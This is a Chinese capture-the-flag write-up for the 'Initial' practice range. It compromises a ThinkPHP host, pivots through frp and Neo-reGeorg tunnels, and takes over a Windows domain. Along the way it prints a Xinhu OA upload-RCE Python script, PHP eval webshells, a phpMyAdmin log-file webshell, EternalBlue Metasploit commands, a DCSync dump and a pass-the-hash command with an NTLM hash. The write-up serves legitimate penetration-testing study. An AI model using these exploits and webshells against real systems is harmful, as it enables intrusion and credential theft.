Initial

靶标介绍:

1
2
3
4
5
by:https://yunjing.ichunqiu.com/major/detail/1077
Initial是一套难度为简单的靶场环境
完成该挑战可以帮助玩家初步认识内网渗透的简单流程。
该靶场只有一个flag,各部分位于不同的机器上。
靶场IP:39.99.254.114

fscan探针

fscan.exe -h 39.99.254.114

image-20240713095025538

tp5.0.23

image-20240713095110220

1
存在tp.5.0.23RCE

TP利用工具 一键getshell

image-20240713095157853

flag01

image-20240713095448561

1
2
3
4
得到低权限用户
mysql 可以进行免密使用
可以使用 mysql 命令暂时获取 root 权限
想要执行其他命令,可以使用 mysql -e 模式

sudo mysql -e '\! find / -name "flag*"'

image-20240713095852910

image-20240713100022716

1
2
Congratulations!!! You found the first flag, the next flag may be in a server in the internal network.
flag01: flag{60b53231-

内网探测

用蚁剑上传fscan工具到/var/www/html

踩坑一

image-20240713100344555

image-20240713101550721image-20240713101701543

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.21 is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:445 open
172.22.1.18:80 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.18:139 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.18:135 open
172.22.1.15:22 open
172.22.1.15:80 open
172.22.1.2:88 open
[*] alive ports len is: 14
start vulscan
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 10.969777995s
1
2
3
172.22.1.2	DC01
172.22.1.21 XIAORANG-WIN7
172.22.1.18 信呼协同办公系统

内网隧道搭建

Neo-reGeorg

上传tunnel.php脚本 使用Neo-reGeorg搭建

踩坑二

python neoreg.py -u http://39.99.254.114/tunnel.php -k liangmo

image-20240713104310919

直接套用了原模板文件 结果导致密码错误
根据文档重新生成模板文件 然后再次上传

image-20240713104445273

image-20240713104912072

image-20240713105229511

感觉 neo创建的隧道不稳定

proxifier做的代理 走电脑全局流量 体验感差

frp

frps.ini

1
2
3
[common]
bind_ip = 0.0.0.0
bind_port = 7000

frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = xxx.xx.xxx.xx
server_port = 7000

[socks5_to_2]
type = tcp
plugin = socks5
remote_port = 8000

image-20240713133108576

上传frp

然后 代理 只通过 SwitchyOmega 和 proxychains 走代理

信呼OA方法一

参考链接:代码审计·信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客

image-20240713105323691

1
admin:admin123

image-20240713110308717

image-20240713111430344

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests

session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)
1
2
<?=eval($_POST[8]);
//1.php ?>

image-20240713150624892

踩坑三

1
2
我一开始写的一句话木马是
<?php @eval($_POST[8]);?>

image-20240713150735800

但是 好像不解析 连接失败

1
<?=eval($_POST[8]);

image-20240713150947040

蚁剑设置代理即可成功连接

踩坑四

proxychains代理设置socks5
我没有把socks4删掉
故是走socks4代理 使得exp没有发包成功

image-20240713152544591

image-20240713152720983

删除 再添加 即可 走socks5 从而连接进内网 进行发包

信呼OA方法二

参考链接:春秋云镜 Initial - DemoCTFer - 博客园 (cnblogs.com)

由于flag03处没有理解透彻 想回顾复盘一下 结果frp处代理又卡了挺久
参考大佬wp 看到了 phpmyadmin 日志getshell 并尝试着getshell

image-20240816021632373

image-20240816022213624

存在弱口令root/root

第一步执行show variables like 'general%';查看是否开启日志以及存放的日志位置

image-20240816022340115

第二步set global general_log = ON;开启日志

image-20240816022518806

第三步set global general_log_file设置日志保存位置

image-20240816023011618

踩坑五

1
2
3
4
路径最好写成
set global general_log_file='C:\\phpStudy\\PHPTutorial\\www\\webshell.php';
因为 \ 容易转义字符
set global general_log_file='C:\phpStudy\PHPTutorial\www\webshell.php';

image-20240816024650303

1
\ 转义了字符 故\\防止转义

image-20240816024907973

第四步写入webshell

SELECT '<?php @eval($_POST[8]);?>';

image-20240816023130833

image-20240816024343096

成功getshell

image-20240816025216275

image-20240816025439687

1
2
查看phpmyadmin rockxinhu数据库 xinhu_admin 可以查到用户名以及密码
从而亦可得到admin admin123

方法一、方法二都可getshell 后面皆是蚁剑设置代理连接寻找flag02

flag02

flag在C:/Users/Administrator/flag/flag02.txt

image-20240713140520346

1
2
flag02: 2ce3-4813-87d4-
Awesome! ! ! You found the second flag, now you can attack the domain controller.
1
2
3
4
5
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
1
2
3
load kiwi

kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 导出域内所有用户的信息(包括哈希值)

image-20240713142814653

flag03

1
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image-20240713143047772

1
2
flag03: e8f88d0d43d6}
Unbelievable! ! You found the last flag, which means you have full control over the ent
1
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}